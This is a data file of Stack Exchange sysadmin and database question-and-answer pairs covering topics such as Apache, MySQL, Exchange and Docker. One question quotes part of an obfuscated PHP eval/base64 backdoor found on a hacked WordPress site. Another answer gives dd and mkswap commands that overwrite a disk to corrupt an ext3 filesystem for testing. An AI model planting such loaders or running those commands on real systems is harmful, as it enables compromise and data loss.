question_id
int64
1
1.16M
title
stringlengths
10
191
question_body
stringlengths
6
2k
answer_body
stringlengths
0
2.5k
tags
stringclasses
73 values
question_score
int64
-15
1.65k
answer_score
int64
0
2.91k
view_count
int64
4
1.24M
creation_date
stringdate
2008-08-01 18:45:00
2025-06-19 04:44:02
category
stringclasses
12 values
source_site
stringclasses
8 values
245,327
Hang while starting several daemons
I’m running a Debian Squeeze AMD64 server. Target runlevel after boot is runlevel 2, which includes rsyslogd, cron, sshd and some other stuff, but not dovecot, postfix, apache2, etc. The system fails to reach runlevel 2 with several symptoms: The system hangs at trying to start rsyslogd Booting into runlevel 1 works, t...
This sounds to me like some basic network service isn't being started. Compare the contents of [CODE] with [CODE] ro see if runlevel 3 starts anything runlevel 2 doesn't (normally it does, but usually it's not something fundamental).
3
1
4,139
2011-03-09T18:27:35.837
infrastructure
serverfault.com
4,261
Mapped network drive in PATH causes delays
I have a requirement to have locations on a network drive in my system Path (Windows XP SP3). If for whatever reason my connection to that drive is slow, this makes everything on my computer slow. What can I tweak on my system to lessen the impact of this setup?
This is the nature of things .. searching a network location is slower than searching a "local" location. 1- If the network location is only used for a couple of things, you could take the network location out of the path and put it in the "Start in" section of a shortcut which is stored locally. 2- In the same vein, y...
0
1
493
2009-05-04T19:23:27.217
infrastructure
serverfault.com
267,556
ASP.NET custom configuration section declaration breaks IIS Manager Configuration Editor
I have a simple .NET custom configuration component that allows me to specify a custom configuration group and section in my ASP.NET 2.0 (the web project targets .NET Framework 3.5) web application's [CODE] file: In my [CODE] I have the following declarations: [CODE] There are a couple of classes that provide access to...
Hey Kev. This worked for me right away using your examples. Here's where I placed everything: Path: [CODE] Content: [CODE] Path: [CODE] Content: [CODE] Path: [CODE] Content: [CODE]
5
3
7,477
2011-05-08T23:07:18.407
infrastructure
serverfault.com
253,148
Disable clear at start of screen via .screenrc?
Is there any way to disable the behavior of gnu-screen, of issuing a clear at startup? I'm using screen merely as a backstop, so that if disconnected, the session isn't HUP'ed. And I've got my shell (bash) config'd to "exec screen -A" on login, so that I get right into screen automatically. However, screen immediately ...
Because [CODE] takes over the entire screen, its not possible to have it leave the terminal buffer unprocessed. If you're interested in the [CODE] specifically, you can always have your .bash_profile call [CODE] , which would give you the same functionality. Another option is to just call [CODE] manually, which sounds ...
1
1
1,070
2011-03-29T12:51:28.387
infrastructure
serverfault.com
772,979
IP based link unreachable only from my VPS IP
I have my own windows VPS with IP address 182.XXX.XX.XXX, i have ip based link http://182.XXX.XXX.XX:8080/EnterpriseUi/pushAction/OTM%3D.html?username=asd&password=asd&from=asd&to=91XXXXXXXXXX&text=hi My problem is, when I am remotely connecting to my server, open any browser and run URL mentioned above it is showing m...
took too long to respond That basically means that the [CODE] died, so the communication failed. How is it possible from other machines? Well, if this happens on the same network it'd be weird but could be because of the network card not working as it should but, if you can only access from other networks, that might m...
1
0
494
2016-04-26T12:29:50.660
infrastructure
serverfault.com
987,612
nginx ssl config for cert.pem and chain.pem
The certbot docs say this for [CODE] and [CODE] : If you provide one of these files to your web server, you must provide both of them, or some browsers will show “This Connection is Untrusted” errors for your site, some of the time. This is the typical nginx config: [CODE] Where do I set [CODE] ?
[CODE] includes the content of [CODE] . You only need the first two lines with Nginx. The separate cert file is only required for other web servers.
1
1
2,402
2019-10-11T09:22:15.433
infrastructure
serverfault.com
539,461
How To Protect Tomcat 7 Against Slowloris Attack
I'm using Apache Tomcat 7 to run my webapp on Linux. I scanned it by Acunetix and it's telling me that my webapp is vulnerable to "Slow HTTP Denial of Service Attack". How can I protect it? Acunetix is reffering me to here , but it's about securing Apache, not Tomcat.
Tomcat Security Team understands that this isn't a tomcat issue. See here . You can fix it by configuring a firewall (an example with iptables is discussed here ) or putting an Apache HTTP server in front off the tomcat server and configure it as described here .
1
1
3,930
2013-09-17T06:08:29.263
infrastructure
serverfault.com
628,884
Configuring wsgi application to serve a static html?
I'm looking to install www.planetplanet.org in openshift. I've hosted a few php apps on openshift, but am not sure how python apps work. The openshift template gives me a wsgi.py file, which needs the 'application' module / function as its starting point. I'm not sure where to point it to. The planetplanet code layout ...
So I did something like this: [CODE] in the default [CODE] part of the wsgi.py script. That got the static html to work, but obviously without css. But then I discovered openshift provides the python binary in non-python apps as well, so I just created a DIY application, imported the planetplanet sources, and used the ...
0
0
1,313
2014-09-16T13:33:51.463
infrastructure
serverfault.com
16,548
MinMaxScaler broadcast shapes
I use a neural network with 3 inputs and 1 output with Keras. I'm using MinMaxScaler from sklearn to normalize my inputs in the range [0,1] my input shape is (XX,3) my output shape is (XX,1) I don't have any input while scaling the input and output arrays [CODE] After the training I have able to make prediction like th...
You made some mistakes on [CODE] . [CODE] shouldn't be fitted twice(as internal parameters inside [CODE] will be changed), and [CODE] & [CODE] should have their own scaler(as they have different minimum and maximum values. Try to do something like this: [CODE]
3
4
16,182
2017-01-26T09:34:44.130
data_quality
datascience.stackexchange.com
183,606
aptitude 404 Not Found [IP: 64.50.233.100 80] error
ím trying to install, remove, update some packages in my debian box: todasana:~# cat /proc/version Linux version 2.6.18-6-686 (Debian 2.6.18.dfsg.1-18etch1) (waldi@debian.org) (gcc version 4.1.2 20061115 (prerelease) (Debian 4.1.1-21)) #1 SMP Sun Feb 10 22:11:31 UTC 2008 And getting some package to download fine, and a...
I think your /etc/apt/sources.list has etch hardcoded rather than stable. I'm not sure if etch is still on the repositories since they are using lenny/squeeze/sid right now. If you still need etch, you might be able to find an archive or backports mirror, but, etch hasn't received any security patches since Feb 2010 or...
1
1
3,822
2010-09-22T14:26:31.567
infrastructure
serverfault.com
52,278
Not able to login on MySQL in AWS RDS using root
I am trying to connect my MySQL RDS from EC2. Under security groups I have made sure permissions are in place. [CODE] I am sure password is correct; because i reset it using AWS console. I am getting following error: [CODE] Looks like
I am 99% sure that Amazon RDS does not give you a 'root' access. i.e. You can't create a user as 'root'@'localhost' or 'root'@''. Can you confirm user you have used while launching Amazon RDS instance? and make sure that Password matches with user created.
4
9
30,837
2013-10-27T04:58:59.680
database_errors
dba.stackexchange.com
45,199
WPA2 Enterprise - Validating Identity
I cannot get WPA2 enterprise to work on my network. I will give you an overview of the current setup. Windows Domain, using IAS and its own CA Linksys WAP200 Access Point I setup the AP to use WPA2-Enterprise Mixed using RADIUS I setup and registered IAS on the domain controller. I added the AP as a client with and hav...
Heh heh... I setup exactly what you're describing with that very AP earlier this week for a Customer. RADIUS Standard works fine for that AP. To rule out the certificate validation, uncheck the "Validate Server Certificate" setting in the PEAP properties on the client at least temporarily. Be sure that IAS is starting ...
3
3
6,263
2009-07-24T14:54:08.077
api_errors
serverfault.com
38,543
What techniques/methodologies do you use to organize your own open source projects, and why?
Aside from using a specific tool such as JIRA or Bugzilla, what techniques or development methodologies do you use to keep your OSS development efforts organized? and more importantly, how do you prioritize which features to deliver when there really isn't any paying clients that decide which features are the most impo...
Git + GitHub has to be one of the biggest boosts organising open source projects in recent years.
5
5
1,045
2011-01-20T23:27:15.580
api_errors
softwareengineering.stackexchange.com
316,691
MySQL binlog format dilemma?
MySQL version: 5.5.13 If I set binlog format to [CODE] , I got the following warnings on the Master : [Warning] Unsafe statement written to the binary log using statement format since BINLOG_FORMAT = STATEMENT. Statement is unsafe because it uses a system function that may return a different value on the slave... I als...
I assume you did this on one setup without cleaning up the slave and setting it up from scratch. As the error message for the statement based replication tells you your application used some commands which can't be replicated using statement based replication. An example is a query like [CODE] where [CODE] will return ...
3
3
7,717
2011-09-29T03:47:53.233
database_errors
serverfault.com
413,986
Decode junk code
Possible Duplicate: My server's been hacked EMERGENCY I'm seeing the below junk code in one of my wordpress file. @preg_replace("\x21\50\x2e\53\x29\41\x73\145","\x65\166\x61\154\x28\47\x24\150\x79\162\x3d\67\x35\61\x34\71\x3b\47\x2e\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\151\x6d\160\x6c\157\x64\145\x28\...
If you didn't put it there, get rid of it. Nobody writes legitimate code like that. You may have been hacked. See How do I deal with a compromised server?
-4
1
216
2012-08-03T12:46:36.480
data_quality
serverfault.com
6,139
How do I change the size of a VHD?
I have a fixed size virtual hard drive that is running out of space. What's a good way to go about increasing the size? This VHD is created from Microsoft Virtual PC and/or Microsoft Virtual Server.
There's a free utility you can download called VHD Resizer that should simplify this task. There is also a step-by-step walkthrough of the entire process that might be of help.
5
6
6,573
2009-05-08T04:59:03.280
infrastructure
serverfault.com
511,995
pam_tty_audit apparently not working
I just compiled pam_tty_audit module, because my Linux distro doesn't include it with the usual PAM modules. I included to the [CODE] the configuration line, as suggested in this question . On my /var/log/messages I got a message each time that some [CODE] , crontab or login is executed: [CODE] But when I search for ev...
Ok, it only was a configuration issue. Reading completely the Audit OpenSuse documentation in [1] I was able to enable the Audit daemon to log modifying the variable [CODE] to "no" in [CODE] [1] http://doc.opensuse.org/products/draft/SLES/SLES-security_sd_draft/part.audit.html
1
1
3,164
2013-05-30T16:10:26.770
infrastructure
serverfault.com
537,789
Access denied in workgroup for UNC
I have two Windows Server 2008 machines: machine1 and machine2. They are both in a workgroup but not in a domain. On both machines I have the user accounts 'Administrator' and 'FileTestUser' with the SAME passwords on both machines. 'FileTestUser' is member of Users and Administrators. 'Administrator' is the administra...
The [CODE] , [CODE] , etc., shares are literally called Administrative Shares . From Wikipedia : Administrative shares cannot be accessed by users without administrative privileges. You need to create a new share for the users, that is not a built-in administrative share. (That the two accounts have the same password i...
0
3
1,486
2013-09-10T13:02:57.857
infrastructure
serverfault.com
95,383
0x8004010F when downloading Exchange offline address book
Situation: Single domain consisting of 3 DCs (2 x Windows 2008 R2 std, 1 x Windows 2003 R2 std) - each DC is a GC Single exchange server (Exchange 2003 Std) Clients, mainly Win XP, but some Win 7, Outlook 2007. All systems fully patched. Every hour, an item apepars in the 'Sync issues' folder in outlook. The contents o...
This error message is pretty generic, and can indicate one of a number of errors. There's a good blog article here that lists a number of potential reasons and solutions.
1
2
2,477
2009-12-17T16:47:07.753
api_errors
serverfault.com
155,840
Serving application HTTP/5xx error pages via Varnish
I an working on running a few Rails applications through Varnish to provide better caching support which will hopefully be more flexible then the build in page-cache options in rails. One issue I have stumbled upon is that when a HTTP/50x error is returned from the application server varnish does not serve up the custo...
Well, I have an answer - and surprisingly the problem wasn't even that varnish wasn't passing on the HTTP/500 response content. The HTTP/503 error was actually being thrown up when Varnish was timing out while connecting to the backend server, or waiting for bytes to be sent. Basically, if the connection to the backend...
5
5
5,084
2010-06-29T08:27:18.687
infrastructure
serverfault.com
347,191
Pattern for multiple independent service calls
I have a current situation where I have to design calls to multiple webservices, coming from different companies, let's say EnrollFacebook, EnrollGoogle, EnrollYelp, EnrollBing. I need to build different options that bundle this enrolls, for instance: PlanA: EnrollFacebook, EnrollGoogle, EnrollBing PlanB: EnrollGoogle ...
The chain of responsibity seems to be a good candidate for this at first sight: a handler could have an optional successor, thus creating the kind of variable chain that you describe the concrete handler class would implement an enrollX client
1
1
2,465
2017-04-14T17:37:05.880
pipeline_ops
softwareengineering.stackexchange.com
357,576
FTP file download using Wget
I am using the wget command for download FTP files, when i download the FTP file its showing error "Event not fount". Here i use the password like some below charater ! so its showing this error bash: !@myipaddress: event not found Using wget command [CODE]
You can the same command by enclosing it with quotes: [CODE]
6
9
58,178
2012-02-07T11:36:27.343
infrastructure
serverfault.com
398,394
How to connect IOT devices to Android App(initial connection)
Background I am starting a new project, and I want custom IOT sensors for an app I am writing. I want to keep everything as simplistic as possible so the IOT devices wont be running any major software or anything, I want them to be as simple as send and receive curl statements(I know they will have to have something bu...
so the IOT devices wont be running any major software or anything, I want them to be as simple as send and receive curl statements (I know they will have to have something but for design I want to assume they are dumb as possible so I don't make assumptions) This would still require your devices to integrate curl, or a...
1
2
1,262
2019-09-14T14:38:50.167
airflow_errors
softwareengineering.stackexchange.com
863,503
Windows Server 2012 SSTP stops listening to port 443, how do I resume listening without a server restart?
I have a Windows 2012 R2 Standard Server setup with an SSTP VPN that is working for the most part. I have been able to connect to this VPN from an external computer and use everything properly. The issue comes in when the server stops listening on port 443, as seen below: I thought that I'd be able to just restart the ...
Your's is the most comprehensive question so I will provide my input here. From my testing in Windows Server 2012 R2, I can restore this functionality without rebooting by doing the following: Restart w3svc Restart sstpsvc Unfortunately you have to force the restart of sstpsvc, which also requires Routing and Remote Ac...
1
2
4,333
2017-07-21T17:23:41.527
infrastructure
serverfault.com
162,370
How do I backup a MySQL database?
Possible Duplicate: Optimal way to make MySQL backups for fairly large databases (MyISAM / InnoDB) What is the best way to backup a MySQL database? Is there a way to automate that process?
[CODE] To automate it just add it to your crontab. But the comments are right, if you give us some more info, we can give a better answer.
0
1
108
2010-07-20T20:37:57.757
database_errors
serverfault.com
690,357
How to force computer to use PPPOE connection permanently
How can I force a computer on my network to use my second uncapped ISP account instead of the LAN default account which is set up in the router. I can create a PPPOE connection on the computer in question, but how do I guarantee that should it not be able to connect on the PPPOE connection, it DOES NOT fall back to the...
If the computer is on the same subnet as both your "LAN default account" and PPPOE connection, then it's a matter of setting your default gateway to the PPPOE router and creating an ACL to deny access to the other one. Or, you know, you could configure the proper routing on your firewall/router. That's what they're the...
0
1
187
2015-05-07T15:01:36.917
infrastructure
serverfault.com
978,704
Unable to connect with public postgresql rds instance : Connection Timed out
I created a basic test PostgreSQL RDS instance in a VPC. It is public and VPC security group. The security group whose configuration is as follows: Inbound Rule: Type: PostgreSQL Protocol: TCP Port:5432 Source: 0.0.0.0/0 Outbound: Type: All Protocol: All Port: All Destination: 0.0.0.0/0 When I try to connect, it fails....
I'm a bit late, but for those looking on in the future: I encountered this error and looked up every possible solution: VPC connection, security groups, changing my pg_hba.conf and postgresql.conf files, making sure my program was publicly accessible, etc. My problem was that I was using Python 3.7 as my runtime on AWS...
0
0
2,860
2019-08-10T09:07:37.980
database_errors
serverfault.com
314,437
Can MySQL use a where clause to inform a join?
For context, I'm using an ORM (ActiveRecord for Ruby On Rails), but having to dip down into MySQL to run some rather complex queries. As a result, it's more difficult to do some things than it would be elsewhere, as it's easier to add variables to the 'where' part of a query than it is to add them to the join part. (I ...
[CODE] First, note that "LEFT" is irrelevant because you are demanding that [CODE] have a particular value. [CODE] is useful only when you want to get NULLs from the 'righthand' table if the there is no row there. Once it is a [CODE] (aka [CODE] ), it does not matter whether the conditions are in the [CODE] clause or i...
0
2
517
2022-07-14T21:06:26.420
database_errors
dba.stackexchange.com
872,028
SSL-connection refused after install
I have installed apache2 and OpenSSL I installed OpenSSL this way: [CODE] After configuring the file File: /etc/apache2/sites-enabled/***.ru.conf [CODE] and a restart with [CODE] I can call the domain with http successfully. But with https I get "connection refused" What can I do? Update 1: [CODE] Update 2: [CODE] Upda...
So your problem is that your SSL cert is being interpreted as a CA cert, rather than one to be used as a server. Easy solution to this is to generate a CA cert and use that to create your server's certificate: [CODE] Then you can use the generated [CODE] and [CODE] for Apache. However , be aware that you are using a se...
3
3
3,002
2017-09-04T20:24:28.240
api_errors
serverfault.com
270,277
Apache 2.2 Slow serving static files on Windows 2003
I'm having problems with a Windows 2003 Server which is running Apache 2.2. The performance of the server seems really bad and as a test just trying to load a 10kb file takes a while to load in the browser. Does anyone have any tips for improving the performance? my httpd.conf has this set: [CODE] And the /extras/httpd...
Please look for this directives in httpd.conf and uncomment them: [CODE] Also set this in httpd-mpm.conf [CODE]
1
1
1,253
2011-05-16T18:59:21.647
infrastructure
serverfault.com
375,097
SSD, AHCI and write performance
We've started to deploy SSD drives to our developers workstations. At this moment we're having the unpleasant surprise that the systems using the new SSDs often freeze, with the HDD activity led blinking or being continuously on. Benchmarks shows read speeds around 180 MB/s, but write speeds around 5 MB/s. All develope...
There are 3 things that come to mind. Firstly, what brand / model SSD are you using?? There have been some problems recently with controllers from certain manufactures. Secondly, Is TRIM enabled. Win7 will enable TIRM (if required) at installation time. So if the SSD was not present then, it may not be enabled. To chec...
2
2
1,618
2012-03-29T23:55:40.030
database_errors
serverfault.com
350,108
Add related record on record creation
My question is at a high risk of being a duplicated one, but that is not for lack of investigation. I've been around with this issue for long, and found nothing to solve it, but it seems such an obvious and common problem, that somebody must have answered this already. The thing is, i have two related tables, say produ...
I'd suggest you start with the domain experience that your users will have. From a technical, data modeling point of view, you might have Products, Images, and Associations between them. But do you want your users to be able to — or to have to — manage these 3 things separately or do you want a simplified user experien...
0
2
65
2017-06-03T21:15:01.527
data_quality
softwareengineering.stackexchange.com
430,392
Securing a SPA's API when using external identity providers
I'm trying to understand OAuth and Securing APIs better when using External Identity Providers, and all my research on it doesn't really seem to apply to my issue, so I'm starting to wonder if I'm approaching what I'm doing completely wrong at this point. I have a SPA that is an item manager for a game, it has a custom...
Since you're using the implicit grant, the SPA gets the token from Discord and then you have to send it to your (API) server to exchange it for your own access token. There is nothing really wrong with exchanging one token for another one, security wise. It's not really a password grant if you're not sending the user's...
0
0
217
2021-07-19T12:47:26.783
api_errors
softwareengineering.stackexchange.com
228,452
MongoDB UserNotFound when starting mongod
I have a MongoDB version [CODE] that i wish to upgrade to [CODE] . The official solution is to upgrade from [CODE] to [CODE] , then to [CODE] , and so on. I am attempting to upgrade from [CODE] to [CODE] , and also to change the storage engine to [CODE] . To upgrade from [CODE] to [CODE] i changed the bin folder's name...
Ended up working by using a configuration file when running mongod. Don't know why.
1
1
1,984
2019-01-30T13:26:57.327
api_errors
dba.stackexchange.com
349,822
PPTPD Couldn't open the /dev/ppp device: Permission denied
I cannot connect to my pptpd server, because it fails to send LCP: Config-Requests to my client. I found the problem, it was located in syslog [CODE] can someone please help me fix this... Extra stuff: I did [CODE] on it.
What is the permission on /dev/ppp? Who owns /dev/ppp? What is the group membership of /dev/ppp? What is the username/group under which pptpd being run as? Providing and analyzing at least this information would help you and perhaps allow us to direct you to the right place to fix this problem.
1
1
8,471
2012-01-13T23:47:06.480
infrastructure
serverfault.com
1,051,706
Run a remote playbook
I have a situation where I have the AWX repo cloned into the /tmp/ folder on a remote docker swarm container and I am already using ansible playbooks. What I am trying to do is run the playbook I have already and then run the playbook in the AWX repo I cloned. The problem is I can not find any way to run a playbook rem...
Ansible uses an "Ansible Controller" as the machine from which you start your plays. This is normally your local PC or a Linux-VM, where you start the plays via SSH. So the "controller" is talking to the remote machine and runs there the tasks. AWX itself is just a "replacement" for your local PC or VM. Your playbook r...
0
0
1,394
2021-01-29T20:18:09.230
pipeline_ops
serverfault.com
273,843
Best way to do a web server performance comparison
I realise this is probably very basic stuff, but I'm interested to know what you guys would recommend as the best way to recommend server performance? I have just bought a managed dedicated server but I also still have a semi dedicated server running some sites too, so I'm intrigued to see how much improvement there is...
I use Siege , it's fairly simple to use but fairly powerful. To test it out just do [CODE] (I think it might be in the EPEL repo, alternatively just download the source and compile) then a simple test is [CODE] where -c 64 is the number of concurrent threads and -t 30s is the time to run the test for. It'll print a loa...
2
3
801
2011-05-25T22:27:38.537
infrastructure
serverfault.com
12,590
What's a good relational structure for units and complex unit conversions?
My company is in the Energy industry and I need to come up with a good way to represent the conversion of units of measurement. I've done some searching and have yet to find a good article covering this at the depth I need. Most info published about unit conversions assume that given Unit 1 there is a known (hard-coded...
There are a few things you want to factor into your design: 1. Measurements Need a Timestamp Make sure all of your measurements have an indication of: Scalar Value Unit of Measurement Date and Time the Measurement was Taken This will allow you to work with measurements that need time-dependent conversion calculations. ...
8
5
2,778
2012-02-09T21:01:30.290
warehouse_errors
dba.stackexchange.com
312,610
How to get call stack info in SQL Server's catch block?
When I have multiple errors in my query, and I use [CODE] and [CODE] function in my catch block, I only get the last error message. For example, if my errors are: [CODE] in the catch block I just get: [CODE] How can I get the whole message? I have searched and saw that this is a limitation of SQL Server, but articles b...
I believe it's still correct. The recommended way is to rethrow the errors to the application via the [CODE] command and let the app handle it. The best resource is still this article by Erland Sommarskog - Error and Transaction Handling in SQL Server You can also capture the errors with Extended Events (XE) [CODE] (on...
3
6
499
2022-05-26T12:43:45.390
database_errors
dba.stackexchange.com
336,284
In TCP/IP terms, how does a download speed limiter in an office work?
Assume an office of people, they want to limit HTTP downloads to a max of 40% bandwidth of their internet connection speed so that it doesn't block other traffic. We say "it's not supported in your firewall", and they say the inevitable line "we used to be able to do it with our Netgear/DLink/DrayTek". Thinking about i...
TCP itself implements the congestion control. These rate limiters will simply throw packets away over the limit. TCP handles this, ensuring that the packets all arrive and all arrive in order; the client doesn't ACK for the dropped packets, and they are resent by the server. The server's TCP stack will resend the packe...
8
12
8,272
2011-11-30T16:23:23.907
infrastructure
serverfault.com
836,132
Domain validation Office 365 and AAD
I have set up a directory synchronization between Azure and my Active Directory, have validated my custom domains and now I would like to setup a hybrid Exchange migration to Office 365. I have a separate account to manage Office 365. One of the prerequisites is a domain validation in Office 365. Doing so result in an ...
as I understand the question the problem is that you have two Azure AD tenants one managing your AZURE subscription and on managing you O365 subscription. it is correct that a custom domain can only be registered against a single Azure AD tenant. The solution is to add the o365 Azure AD Tenant to you Azure subscription...
2
1
108
2017-03-03T15:51:27.777
api_errors
serverfault.com
224,022
DBCC SHRINKFILE performance
I have a production SQL Server 2008 with 8 TB spread over several databases. I've deleted about 85% of the data in each database and MUST recover the disk space. The final SUM of all USED_SPACE will be 1.2 TB. This SHRINKFILE process must fit within a 7 hour maintenance window PER database. However the DBCC SHRINKFILE ...
The solution is to Leave extra room. When shrinking the MDF files, if I leave some unused space (do not remove ALL unused space) then it finishes considerably faster. For example: If a 3TB database has only 200MB used, shrinking it to 200MB would take a very long time. However if I shrink it to 300MB then the shrink pr...
4
5
1,833
2018-12-03T16:17:54.387
database_errors
dba.stackexchange.com
17,638
Moving my Outlook 2003 archive from one laptop to another
I'm attempting to move to a new laptop and I want to take my email archive with we. I've got 3 related files klelky.pst, klelky.pab and klelky.ost which I have moved to a shared folder. The .ost file is about 500MB so I assume thats where all may mail is. (The other folders are 250kB each). The bit of googling that I'v...
If your company uses Exchange, you will be able to download your mail from the server just by connecting with your outlook client. However, if you have archived any of your mail to a local PST file, you will need to copy that. If you do not have Exchange, or you you just want to make sure you've got everything, your be...
1
1
6,789
2009-06-02T11:03:51.817
api_errors
serverfault.com
361,901
Not prohibited, but disallowed -- which http error code should I return?
I know that if user is forbidden in an admin's area, I should return 401 or 403 status error code. However, what I want to prohibit an admin for accessing a user's dashboard also? An admin has its own dashboard where he can already see a list of users, hence access to a user's dashboard wouldn't make sense. What error ...
That sounds like a straightforward 403 You are implementing a rule to ban access to a resource for an unauthorised user - that's a 403
2
12
433
2017-12-06T03:50:13.900
bi_errors
softwareengineering.stackexchange.com
439,516
Git Workflow for Code without any regression test
So I have a project which does not have any regression test or automated unit tests. We release every week. We use forking git flow which is basically everyone forks repo and pushes their changes in their specific fork. From their fork devs push to develop branch which is pushed to pre-prod where tester tests it and th...
The problem is that the revert is painful. You somehow discovered a need to revert after the merge was committed to pre-production but before QA tested it. Sounds like someone tested it. That's fine. Do that sooner. Test before the merge is committed next time and it will save a lot of pain. There is no magic git fix f...
-1
4
213
2022-06-28T08:15:03.947
api_errors
softwareengineering.stackexchange.com
230,065
Overly eager explicit row locking causes deadlock
I'm running into deadlock problems on MariaDB using the INNODB engine. In my use case, I've got a number of threads working on a table. Each thread first reads a number of rows and then updates those. I'm using a [CODE] statement to load all relevant rows at once. I have been using [CODE] to ensure that other threads d...
Is this correct? I.e. does LOCK IN SHARE MODE lock all rows looked at during query evaluation and not just the ones selected? Yes, that looks to be the case, assuming you are using READ-REPEATABLE isolation level (the default). For locking reads (SELECT with FOR UPDATE or LOCK IN SHARE MODE), UPDATE, and DELETE stateme...
1
0
263
2019-02-18T17:19:05.640
data_quality
dba.stackexchange.com
674,769
MySQL gives error "SSL connection error: Unable to get private key"
I keep getting the errors "SSL connection error: Unable to get private key" when using mysql client. In order to get it to work, I have change the permission 444. However, I would like to lock it down to whatever user/group the client runs on. MySQL is installed on AWS Linux. Thank.
Thank you, it works fine. I am running as the default user and have changed the permission to that of user I am running as. So the mysql client runs as that particular.
-1
0
1,706
2015-03-12T00:10:23.830
database_errors
serverfault.com
766,012
How to kill a process that the container was started with
I have a container in which I'd like to kill a process that was used to start the container. The last line of the Dockerfile is [CODE] My reason for doing this instead of just stopping the container is that I want to kill the process, [CODE] into the container, change some files, and then start the process again. If I ...
I had a similar issue. I was unable to kill process 1. So I had to run another process first. I chose to use a bash process, with a restart loop. I am using Docker-compose so my container's command file ended up looking like something like this: [CODE] Similar is possible when using Docker directly.
4
1
4,421
2016-03-25T01:52:21.797
pipeline_ops
serverfault.com
165,395
Unlimited desktop connections in Windows Server 2008 R2 Standard
I recently installed Windows Server 2008 R2 Standard (64 bit) on a nice machine that's more than capable of handling 30 or so remote desktop connections at once, and this is precisely what I want to do. Unfortunately, I can only make 2 at a time--because that's what the limit is defined as... I haven't seen any convent...
You haven't seen any "conventional ways of redefining this limit"? really? how about buying Terminal Services CALs? I don't know what's more conventional than paying for the functionality you want. Basically that's it; just buy the licences, install, ?, Profit - the end.
0
10
11,855
2010-07-29T19:36:15.953
infrastructure
serverfault.com
754,572
Problems with Supermicro X10DRi-T NICs
I've got a workstation with Supermicro X10DRi-T mainboard. It has three Ethernet ports. One of them (IPMI LAN) is dedicated to IPMI. The other two, LAN1 and LAN2 are general-purpose. This question Configuring SuperMicro IPMI to use one of the LAN interfaces instead of the IPMI port? mentions that LAN1 can be used as IP...
Did you, by any chance, assign the same ipaddress to both the BMC and to the server NIC? Because that would result in this behaviour. Both the BMC and the regular NIC use a different MAC address, so when they are announcing their IP to the network (ARP), that would result in a loss of connectivity to either one of them...
0
0
1,420
2016-02-07T17:46:56.290
infrastructure
serverfault.com
486,660
Configure wildcard domain on Cloudbees
I am trying to add a wildcard domain alias for a CloudBees RUN@Cloud application. However I get the following error message: invalid hostname: *.domain.com
Answer from the CloudBees support: We can set this up for paid apps. Please let us know the app ID and wildcard that you want on your app. Spike Washburn CloudBees, Inc
0
0
55
2013-03-11T13:58:02.310
infrastructure
serverfault.com
833,915
VPS vs Real Hardware performance correlation
Assuming I have application running in a VPS and consuming 50% of assigned CPU resource. Will it correct to assume that on real hardware with same properties CPU usage will not be more than 50% running same application ? Thanks.
It depends on your app, cannot say it this way. Look over how CPU is used now. If it is using just calculation it should be more or less same, if it is waiting for some IO (storage, network) it can go better or worse.
-1
1
55
2017-02-21T12:51:27.667
infrastructure
serverfault.com
157,042
Where Clause Index Scan - Index Seek
I have below table: [CODE] And below indexes: [CODE] When I query on my table: [CODE] First is making index scan whereas the second index seek. I expect that both of them must make index seek. Why does the first make index scan?
The problem here is an implicit conversion to [CODE] type. There is a warning about it in the execution plan, and it is connected with Data Type Precedence . Your table is using the wrong data type to store GUIDs. If [CODE] were correctly typed as [CODE] , your problem would never have arisen. The string representation...
5
7
974
2016-12-02T20:26:41.233
warehouse_errors
dba.stackexchange.com
484,015
iis7 forms authentication is missing?
I do not have the option for form Authentication in IIS Manager under IIS=>Authentication. I do have the following options: 1)Anonymous Authentication 2)ASP.NET Impersonation 3)basic Authentication according to this, forms Authentication is needed to provide for an application please help me to fix it.
One thing you could try: Make a backup of 'C:\Windows\System32\inetsrv\config\administration.config'. In [CODE] find the line [CODE] and make a copy of it just below, then replace ' ImpersonationModuleProvider ' with ' FormsAuthenticationModuleProvider ' in the new line. further down in the file in the section: [CODE] ...
1
1
3,698
2013-03-02T07:49:50.567
api_errors
serverfault.com
53,482
Datetime Difference in MySQL when format is Varchar
I have two columns in a table: [CODE] and [CODE] , of type [CODE] . I want to have the difference between both columns, and I'm using : [CODE] It is giving me [CODE] , because of different data types. To test, I also tried: [CODE] It is also giving [CODE] . What should I do for the difference? I have [CODE] number of d...
You really need to unify all Date and Time Stamps into one format for both [CODE] and [CODE] . Just to give you an example, I'll compute the time difference for the first row. Here is the code to compute it: [CODE] Ready to see the difference? Here it is: [CODE] Final Answer [CODE] Even though this is right, it would b...
1
0
2,228
2013-11-18T13:29:54.367
database_errors
dba.stackexchange.com
377,902
Attempting to end anything running of port 3306
I have MAMP Pro running on OS X 10.7.2 and it uses port 3306 for MYSQL. It was running fine until this morning when I installed a trial of WebStart. I subsequently did not like Webstart and quit and uninstalled it. My problem now is that MAMP Pro will not Start MYSQL. The log shows: [CODE] I ran this in terminal: [CODE...
There is already a MySQL Server Daemon process running on 3306 as PID 3966. It could easily be a leftover process from what appears to be a fairly unclean uninstall. You can kill the process in a variety of ways including (but not limited to): [CODE] You can verify it is gone by running the lsof command again or: [CODE...
2
7
37,316
2012-04-09T18:44:59.287
database_errors
serverfault.com
229,630
Easiest way to corrupt ext3 file system (for testing)?
I need to corrupt ext3 file system (for testing purposes) to some repairable state. How that can be done?
'mkswap /dev/ext3_dev' or 'dd if=/dev/zerro of=/dev/ext3_dev bs=1024 skip=1000 count=300'
7
2
3,342
2011-02-01T12:38:58.573
data_quality
serverfault.com
204,065
WinMgmts error on Windows 2008 R2 Server
I have a VBS file that is failing on this line: [CODE] with this error: [CODE] where [CODE] is a Windows 2008 SP2 server. I made sure WMI is running on the server. What could be wrong?
Can you prepend the code with [CODE] and append [CODE] Try the code remotely. Then, try the code locally on the server with [CODE] substituted with [CODE] - i.e.: local machine. Run the code with and without local admin privs...
0
1
1,673
2010-11-19T19:49:14.703
infrastructure
serverfault.com
184,832
Preferred design to avoid circular/multiple update paths
Consider the following design: [CODE] Use case: Farmer Joe owns land. Farmer Ted owns land. Farmer Joe builds a combine-harvester, and loans it to Farmer Ted for use on one of Farmer Ted's fields. If Farmer Joe changes his name to Farmer Joseph, I want that to reflect in the [CODE] table, so Farmer Ted knows who owns t...
The solution I've seen has been to remove the foreign key constraint, and to maintain relational integrity via triggers. On the foreign (or "child") table, you need [CODE] and [CODE] triggers. if the "foreign key" column(s) are inserted/updated, then you have to make sure the value(s) exists in the primary key of the "...
5
3
1,940
2017-08-31T17:59:34.200
data_quality
dba.stackexchange.com
